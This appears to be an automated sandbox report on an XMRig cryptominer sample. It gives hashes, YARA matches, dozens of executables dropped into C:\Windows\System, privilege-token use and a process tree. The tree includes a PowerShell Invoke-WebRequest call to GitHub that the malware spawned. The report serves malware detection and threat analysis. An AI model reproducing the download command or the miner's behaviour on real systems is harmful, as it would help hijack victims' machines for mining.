xmrig | 75cf9db8f17919bafd2e6bb4e1e217f8d15350dd14c07adb8e592343cdfcf610

Analysis

max time kernel
91s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
18/05/2024, 07:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
Size 1.1MB
Sample240518-jrcamsae47
SHA256 75cf9db8f17919bafd2e6bb4e1e217f8d15350dd14c07adb8e592343cdfcf610
MD5 afd32ea357d1084476b035ae9024a1b0
SHA1 811f03ee4d7aad34b11a1e2b7d3f2e7d416bb52d
SHA512 0ec5266d7486ef8115fcf7f15eb563a3357bf32da26aa42b29ccf26f8ebf199a79107e76c280f190dbbfcbc6d3657de21763b2fa6232c03103943d1fd4f5a8d0
SSDEEP 24576:zv3/fTLF671TilQFG4P5PMkyW1HU/ek5Qk7SW4hIQ37iWj:Lz071uv4BPMkyW10/wKe6Wj
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 28 IoCs

miner

resource	yara_rule
behavioral2/memory/3788-545-0x00007FF788210000-0x00007FF788602000-memory.dmp	xmrig
behavioral2/memory/1544-729-0x00007FF69BD30000-0x00007FF69C122000-memory.dmp	xmrig
behavioral2/memory/3748-883-0x00007FF6EF9F0000-0x00007FF6EFDE2000-memory.dmp	xmrig
behavioral2/memory/4032-1560-0x00007FF7FCF10000-0x00007FF7FD302000-memory.dmp	xmrig
behavioral2/memory/3028-1688-0x00007FF6D02C0000-0x00007FF6D06B2000-memory.dmp	xmrig
behavioral2/memory/3160-1561-0x00007FF6CAAD0000-0x00007FF6CAEC2000-memory.dmp	xmrig
behavioral2/memory/556-1392-0x00007FF6874A0000-0x00007FF687892000-memory.dmp	xmrig
behavioral2/memory/4056-1391-0x00007FF796D20000-0x00007FF797112000-memory.dmp	xmrig
behavioral2/memory/3524-881-0x00007FF7ADC60000-0x00007FF7AE052000-memory.dmp	xmrig
behavioral2/memory/2536-396-0x00007FF65FAF0000-0x00007FF65FEE2000-memory.dmp	xmrig
behavioral2/memory/748-384-0x00007FF77F060000-0x00007FF77F452000-memory.dmp	xmrig
behavioral2/memory/1292-318-0x00007FF727BC0000-0x00007FF727FB2000-memory.dmp	xmrig
behavioral2/memory/2192-110-0x00007FF77BAE0000-0x00007FF77BED2000-memory.dmp	xmrig
behavioral2/memory/1696-3429-0x00007FF74E700000-0x00007FF74EAF2000-memory.dmp	xmrig
behavioral2/memory/1696-3431-0x00007FF74E700000-0x00007FF74EAF2000-memory.dmp	xmrig
behavioral2/memory/2192-3435-0x00007FF77BAE0000-0x00007FF77BED2000-memory.dmp	xmrig
behavioral2/memory/748-3433-0x00007FF77F060000-0x00007FF77F452000-memory.dmp	xmrig
behavioral2/memory/3748-3437-0x00007FF6EF9F0000-0x00007FF6EFDE2000-memory.dmp	xmrig
behavioral2/memory/1544-3441-0x00007FF69BD30000-0x00007FF69C122000-memory.dmp	xmrig
behavioral2/memory/1292-3442-0x00007FF727BC0000-0x00007FF727FB2000-memory.dmp	xmrig
behavioral2/memory/3524-3444-0x00007FF7ADC60000-0x00007FF7AE052000-memory.dmp	xmrig
behavioral2/memory/4056-3450-0x00007FF796D20000-0x00007FF797112000-memory.dmp	xmrig
behavioral2/memory/2536-3448-0x00007FF65FAF0000-0x00007FF65FEE2000-memory.dmp	xmrig
behavioral2/memory/3788-3447-0x00007FF788210000-0x00007FF788602000-memory.dmp	xmrig
behavioral2/memory/556-3469-0x00007FF6874A0000-0x00007FF687892000-memory.dmp	xmrig
behavioral2/memory/3028-3466-0x00007FF6D02C0000-0x00007FF6D06B2000-memory.dmp	xmrig
behavioral2/memory/3160-3458-0x00007FF6CAAD0000-0x00007FF6CAEC2000-memory.dmp	xmrig
behavioral2/memory/4032-3457-0x00007FF7FCF10000-0x00007FF7FD302000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1236	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1696	EfXzVAv.exe
2192	PWnBrlt.exe
4064	qOuBTVp.exe
1292	MyvyHYj.exe
748	bHCrGPC.exe
2536	ElYKOfi.exe
3788	YVigIsI.exe
1544	YaxxrsU.exe
3524	XtseEbD.exe
3748	mYfBwcB.exe
4056	fUayBAN.exe
556	egfhHKP.exe
4032	HWATdPi.exe
3160	tILbGVx.exe
3028	iacFuHN.exe
3008	bmTouax.exe
2188	OMCofqD.exe
2200	MpckFFO.exe
2640	NDNnfne.exe
4360	dKvxJub.exe
2796	LDUpwya.exe
2160	AlIUlqj.exe
1460	syRbBJL.exe
4752	SgDdcmx.exe
2036	aVDASGS.exe
3024	AsHkluP.exe
3012	LMYEiQJ.exe
2688	gUiltyv.exe
4808	MhzzeCX.exe
4296	oZlcRHj.exe
4848	okZbUHx.exe
1684	eHcriza.exe
3284	fTFXiqE.exe
2720	nvnVSQR.exe
1288	BMMmrDv.exe
4324	XsztJBI.exe
5028	gyRkBrt.exe
1100	JzFzYeh.exe
3708	yKCSbro.exe
1732	xNrXKXN.exe
4432	kcqgoSW.exe
1464	ZNpUHjf.exe
1552	BkQFYWT.exe
3576	BcaRRaz.exe
3776	LHhQGnH.exe
4940	dbaZaUT.exe
2968	bUnYWJi.exe
688	iLiibcT.exe
4552	bnaXfCy.exe
3224	cCoRjxn.exe
4016	jyWTPaL.exe
3620	vltSZOd.exe
672	PpLzKtg.exe
1928	IztUkpD.exe
3036	kqOyBDt.exe
1428	qwtKSwR.exe
224	nGqKAtf.exe
4508	CVMIVjI.exe
4936	uwVxDFS.exe
1936	PFWSQcW.exe
1512	LyCxHtc.exe
3416	YnCEsQb.exe
2032	qGCfLdF.exe
4928	AkSuPog.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1204-0-0x00007FF709180000-0x00007FF709572000-memory.dmp	upx
behavioral2/files/0x000700000002341e-9.dat	upx
behavioral2/files/0x000700000002341f-8.dat	upx
behavioral2/files/0x0007000000023420-26.dat	upx
behavioral2/files/0x0009000000023419-6.dat	upx
behavioral2/files/0x0007000000023424-39.dat	upx
behavioral2/files/0x000700000002342a-53.dat	upx
behavioral2/files/0x0007000000023435-134.dat	upx
behavioral2/files/0x0007000000023436-210.dat	upx
behavioral2/memory/3788-545-0x00007FF788210000-0x00007FF788602000-memory.dmp	upx
behavioral2/memory/1544-729-0x00007FF69BD30000-0x00007FF69C122000-memory.dmp	upx
behavioral2/memory/3748-883-0x00007FF6EF9F0000-0x00007FF6EFDE2000-memory.dmp	upx
behavioral2/memory/4032-1560-0x00007FF7FCF10000-0x00007FF7FD302000-memory.dmp	upx
behavioral2/memory/3028-1688-0x00007FF6D02C0000-0x00007FF6D06B2000-memory.dmp	upx
behavioral2/memory/3160-1561-0x00007FF6CAAD0000-0x00007FF6CAEC2000-memory.dmp	upx
behavioral2/memory/556-1392-0x00007FF6874A0000-0x00007FF687892000-memory.dmp	upx
behavioral2/memory/4056-1391-0x00007FF796D20000-0x00007FF797112000-memory.dmp	upx
behavioral2/memory/3524-881-0x00007FF7ADC60000-0x00007FF7AE052000-memory.dmp	upx
behavioral2/memory/2536-396-0x00007FF65FAF0000-0x00007FF65FEE2000-memory.dmp	upx
behavioral2/memory/748-384-0x00007FF77F060000-0x00007FF77F452000-memory.dmp	upx
behavioral2/memory/1292-318-0x00007FF727BC0000-0x00007FF727FB2000-memory.dmp	upx
behavioral2/files/0x0007000000023447-223.dat	upx
behavioral2/files/0x0007000000023446-219.dat	upx
behavioral2/files/0x0007000000023437-211.dat	upx
behavioral2/files/0x0007000000023433-203.dat	upx
behavioral2/files/0x0007000000023434-193.dat	upx
behavioral2/files/0x0007000000023432-191.dat	upx
behavioral2/files/0x0007000000023443-188.dat	upx
behavioral2/files/0x0007000000023429-185.dat	upx
behavioral2/files/0x0007000000023428-181.dat	upx
behavioral2/files/0x0007000000023442-178.dat	upx
behavioral2/files/0x0007000000023441-177.dat	upx
behavioral2/files/0x0007000000023440-174.dat	upx
behavioral2/files/0x000700000002343f-173.dat	upx
behavioral2/files/0x000700000002343e-166.dat	upx
behavioral2/files/0x000700000002343d-165.dat	upx
behavioral2/files/0x000700000002343c-161.dat	upx
behavioral2/files/0x000700000002343b-156.dat	upx
behavioral2/files/0x000700000002342c-149.dat	upx
behavioral2/files/0x000700000002343a-148.dat	upx
behavioral2/files/0x0007000000023438-144.dat	upx
behavioral2/files/0x000700000002342b-138.dat	upx
behavioral2/files/0x0007000000023427-120.dat	upx
behavioral2/files/0x0007000000023430-112.dat	upx
behavioral2/memory/2192-110-0x00007FF77BAE0000-0x00007FF77BED2000-memory.dmp	upx
behavioral2/files/0x000700000002342f-106.dat	upx
behavioral2/files/0x000700000002342e-103.dat	upx
behavioral2/files/0x000700000002342d-100.dat	upx
behavioral2/files/0x0007000000023439-146.dat	upx
behavioral2/files/0x0007000000023425-89.dat	upx
behavioral2/files/0x0007000000023431-118.dat	upx
behavioral2/files/0x0007000000023423-67.dat	upx
behavioral2/files/0x0007000000023422-63.dat	upx
behavioral2/files/0x0007000000023426-59.dat	upx
behavioral2/files/0x0007000000023421-47.dat	upx
behavioral2/memory/1696-14-0x00007FF74E700000-0x00007FF74EAF2000-memory.dmp	upx
behavioral2/memory/1696-3429-0x00007FF74E700000-0x00007FF74EAF2000-memory.dmp	upx
behavioral2/memory/1696-3431-0x00007FF74E700000-0x00007FF74EAF2000-memory.dmp	upx
behavioral2/memory/2192-3435-0x00007FF77BAE0000-0x00007FF77BED2000-memory.dmp	upx
behavioral2/memory/748-3433-0x00007FF77F060000-0x00007FF77F452000-memory.dmp	upx
behavioral2/memory/3748-3437-0x00007FF6EF9F0000-0x00007FF6EFDE2000-memory.dmp	upx
behavioral2/memory/1544-3441-0x00007FF69BD30000-0x00007FF69C122000-memory.dmp	upx
behavioral2/memory/1292-3442-0x00007FF727BC0000-0x00007FF727FB2000-memory.dmp	upx
behavioral2/memory/3524-3444-0x00007FF7ADC60000-0x00007FF7AE052000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\VtHVLyQ.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\HynWveW.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\tUhATLP.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\xywwYdq.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\fRfqVaS.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\aPQGLlo.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\epbdNqy.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\MUOqUAU.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\PubBsVg.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\htLuIBW.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\cwhJGok.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\gbQSnqS.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\orxXvof.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\nwpmigB.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\AHvNjVJ.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\ecKYFdU.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\oDkbqUU.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\pojfMMP.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\zGUJhfP.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\AovSMkn.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\JWmWCaW.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\DAUcVgH.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\NTCGbhA.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\cNhXDme.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\ToRhOkl.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\PKhxVlR.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\MlGMIhf.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\ViXMruD.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\rEPtkMc.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\TGmvxhM.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\FlQKfdW.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\ucKfRbg.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\DlsSzIA.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\nMcpFmh.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\qshXOcm.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\GRZVNJL.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\cTkkivA.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\AZGQrfO.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\liQZlXV.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\UnPoACo.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\EMXGVuA.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\VnomHHR.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\SSDHCrC.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\BJTznQl.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\cCUJqEw.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\QnIMIJU.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\BBppDMe.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\ArizeMd.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\EZUejKa.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\rxRTCHL.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\nQyHkbc.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\fYKKHMg.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\mVrYPvO.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\dxwsJND.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\SvNRcqi.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\ejWsFmx.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\yMyrTKp.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\NCMjTOg.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\NPxyOmI.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\DkkxyUV.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\KzNuzmd.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\FEzFxND.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\iaKJffo.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
File created	C:\Windows\System\okouugE.exe	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1236	powershell.exe
1236	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1236	powershell.exe
Token: SeLockMemoryPrivilege	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1204 wrote to memory of 1236	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	83
PID 1204 wrote to memory of 1236	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	83
PID 1204 wrote to memory of 1696	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	84
PID 1204 wrote to memory of 1696	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	84
PID 1204 wrote to memory of 2192	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	85
PID 1204 wrote to memory of 2192	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	85
PID 1204 wrote to memory of 4064	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	86
PID 1204 wrote to memory of 4064	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	86
PID 1204 wrote to memory of 1292	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	87
PID 1204 wrote to memory of 1292	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	87
PID 1204 wrote to memory of 748	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	88
PID 1204 wrote to memory of 748	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	88
PID 1204 wrote to memory of 2536	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	89
PID 1204 wrote to memory of 2536	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	89
PID 1204 wrote to memory of 3788	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	90
PID 1204 wrote to memory of 3788	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	90
PID 1204 wrote to memory of 1544	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	91
PID 1204 wrote to memory of 1544	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	91
PID 1204 wrote to memory of 3524	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	92
PID 1204 wrote to memory of 3524	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	92
PID 1204 wrote to memory of 3748	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	93
PID 1204 wrote to memory of 3748	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	93
PID 1204 wrote to memory of 4056	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	94
PID 1204 wrote to memory of 4056	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	94
PID 1204 wrote to memory of 3160	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	95
PID 1204 wrote to memory of 3160	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	95
PID 1204 wrote to memory of 3028	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	96
PID 1204 wrote to memory of 3028	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	96
PID 1204 wrote to memory of 556	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	97
PID 1204 wrote to memory of 556	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	97
PID 1204 wrote to memory of 3008	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	98
PID 1204 wrote to memory of 3008	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	98
PID 1204 wrote to memory of 4032	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	99
PID 1204 wrote to memory of 4032	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	99
PID 1204 wrote to memory of 2188	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	100
PID 1204 wrote to memory of 2188	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	100
PID 1204 wrote to memory of 2200	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	101
PID 1204 wrote to memory of 2200	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	101
PID 1204 wrote to memory of 2640	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	102
PID 1204 wrote to memory of 2640	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	102
PID 1204 wrote to memory of 4360	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	103
PID 1204 wrote to memory of 4360	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	103
PID 1204 wrote to memory of 2796	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	104
PID 1204 wrote to memory of 2796	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	104
PID 1204 wrote to memory of 2160	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	105
PID 1204 wrote to memory of 2160	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	105
PID 1204 wrote to memory of 1460	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	106
PID 1204 wrote to memory of 1460	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	106
PID 1204 wrote to memory of 4752	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	107
PID 1204 wrote to memory of 4752	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	107
PID 1204 wrote to memory of 2036	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	108
PID 1204 wrote to memory of 2036	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	108
PID 1204 wrote to memory of 3024	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	109
PID 1204 wrote to memory of 3024	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	109
PID 1204 wrote to memory of 3012	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	110
PID 1204 wrote to memory of 3012	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	110
PID 1204 wrote to memory of 2688	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	111
PID 1204 wrote to memory of 2688	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	111
PID 1204 wrote to memory of 4808	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	112
PID 1204 wrote to memory of 4808	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	112
PID 1204 wrote to memory of 4296	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	113
PID 1204 wrote to memory of 4296	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	113
PID 1204 wrote to memory of 4848	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	114
PID 1204 wrote to memory of 4848	1204	afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe	114

C:\Users\Admin\AppData\Local\Temp\afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\afd32ea357d1084476b035ae9024a1b0_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1236
- C:\Windows\System\EfXzVAv.exe
  C:\Windows\System\EfXzVAv.exe
  2⤵
  - Executes dropped EXE
  PID:1696
- C:\Windows\System\PWnBrlt.exe
  C:\Windows\System\PWnBrlt.exe
  2⤵
  - Executes dropped EXE
  PID:2192
- C:\Windows\System\qOuBTVp.exe
  C:\Windows\System\qOuBTVp.exe
  2⤵
  - Executes dropped EXE
  PID:4064
- C:\Windows\System\MyvyHYj.exe
  C:\Windows\System\MyvyHYj.exe
  2⤵
  - Executes dropped EXE
  PID:1292
- C:\Windows\System\bHCrGPC.exe
  C:\Windows\System\bHCrGPC.exe
  2⤵
  - Executes dropped EXE
  PID:748
- C:\Windows\System\ElYKOfi.exe
  C:\Windows\System\ElYKOfi.exe
  2⤵
  - Executes dropped EXE
  PID:2536
- C:\Windows\System\YVigIsI.exe
  C:\Windows\System\YVigIsI.exe
  2⤵
  - Executes dropped EXE
  PID:3788
- C:\Windows\System\YaxxrsU.exe
  C:\Windows\System\YaxxrsU.exe
  2⤵
  - Executes dropped EXE
  PID:1544
- C:\Windows\System\XtseEbD.exe
  C:\Windows\System\XtseEbD.exe
  2⤵
  - Executes dropped EXE
  PID:3524
- C:\Windows\System\mYfBwcB.exe
  C:\Windows\System\mYfBwcB.exe
  2⤵
  - Executes dropped EXE
  PID:3748
- C:\Windows\System\fUayBAN.exe
  C:\Windows\System\fUayBAN.exe
  2⤵
  - Executes dropped EXE
  PID:4056
- C:\Windows\System\tILbGVx.exe
  C:\Windows\System\tILbGVx.exe
  2⤵
  - Executes dropped EXE
  PID:3160
- C:\Windows\System\iacFuHN.exe
  C:\Windows\System\iacFuHN.exe
  2⤵
  - Executes dropped EXE
  PID:3028
- C:\Windows\System\egfhHKP.exe
  C:\Windows\System\egfhHKP.exe
  2⤵
  - Executes dropped EXE
  PID:556
- C:\Windows\System\bmTouax.exe
  C:\Windows\System\bmTouax.exe
  2⤵
  - Executes dropped EXE
  PID:3008
- C:\Windows\System\HWATdPi.exe
  C:\Windows\System\HWATdPi.exe
  2⤵
  - Executes dropped EXE
  PID:4032
- C:\Windows\System\OMCofqD.exe
  C:\Windows\System\OMCofqD.exe
  2⤵
  - Executes dropped EXE
  PID:2188
- C:\Windows\System\MpckFFO.exe
  C:\Windows\System\MpckFFO.exe
  2⤵
  - Executes dropped EXE
  PID:2200
- C:\Windows\System\NDNnfne.exe
  C:\Windows\System\NDNnfne.exe
  2⤵
  - Executes dropped EXE
  PID:2640
- C:\Windows\System\dKvxJub.exe
  C:\Windows\System\dKvxJub.exe
  2⤵
  - Executes dropped EXE
  PID:4360
- C:\Windows\System\LDUpwya.exe
  C:\Windows\System\LDUpwya.exe
  2⤵
  - Executes dropped EXE
  PID:2796
- C:\Windows\System\AlIUlqj.exe
  C:\Windows\System\AlIUlqj.exe
  2⤵
  - Executes dropped EXE
  PID:2160
- C:\Windows\System\syRbBJL.exe
  C:\Windows\System\syRbBJL.exe
  2⤵
  - Executes dropped EXE
  PID:1460
- C:\Windows\System\SgDdcmx.exe
  C:\Windows\System\SgDdcmx.exe
  2⤵
  - Executes dropped EXE
  PID:4752
- C:\Windows\System\aVDASGS.exe
  C:\Windows\System\aVDASGS.exe
  2⤵
  - Executes dropped EXE
  PID:2036
- C:\Windows\System\AsHkluP.exe
  C:\Windows\System\AsHkluP.exe
  2⤵
  - Executes dropped EXE
  PID:3024
- C:\Windows\System\LMYEiQJ.exe
  C:\Windows\System\LMYEiQJ.exe
  2⤵
  - Executes dropped EXE
  PID:3012
- C:\Windows\System\gUiltyv.exe
  C:\Windows\System\gUiltyv.exe
  2⤵
  - Executes dropped EXE
  PID:2688
- C:\Windows\System\MhzzeCX.exe
  C:\Windows\System\MhzzeCX.exe
  2⤵
  - Executes dropped EXE
  PID:4808
- C:\Windows\System\oZlcRHj.exe
  C:\Windows\System\oZlcRHj.exe
  2⤵
